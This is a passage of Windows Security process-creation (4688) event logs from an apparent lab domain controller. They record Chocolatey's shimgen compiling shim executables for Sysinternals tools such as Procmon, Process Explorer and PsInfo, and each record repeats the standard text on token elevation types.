Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246693
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x30c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Procmon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246692
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaec
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x30c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246691
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x30c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Procmon64.exe" --output="C:\ProgramData\chocolatey\bin\Procmon64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Procmon64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246690
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESECDB.tmp" "c:\ProgramData\chocolatey\bin\CSCA16B56A2F1C54D73A46FACD7AC9E18EB.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246689
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb54
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246688
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Procmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246687
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4fc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246686
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Procmon.exe" --output="C:\ProgramData\chocolatey\bin\Procmon.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Procmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246685
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf18
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEBF1.tmp" "c:\ProgramData\chocolatey\bin\CSC4DBB98E65C5A4C6497E56F5E08AE21C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246684
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8d0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246683
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x994
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procexp64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246729
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x36c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc0c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246728
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc0c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsInfo.exe" --output="C:\ProgramData\chocolatey\bin\PsInfo.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsInfo.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246727
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x990
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x488
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF2D7.tmp" "c:\ProgramData\chocolatey\bin\CSC59B005E4CAF840BB898919556B6C8080.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246726
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x488
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246725
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x488
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x86c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsGetsid64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246724
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x86c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

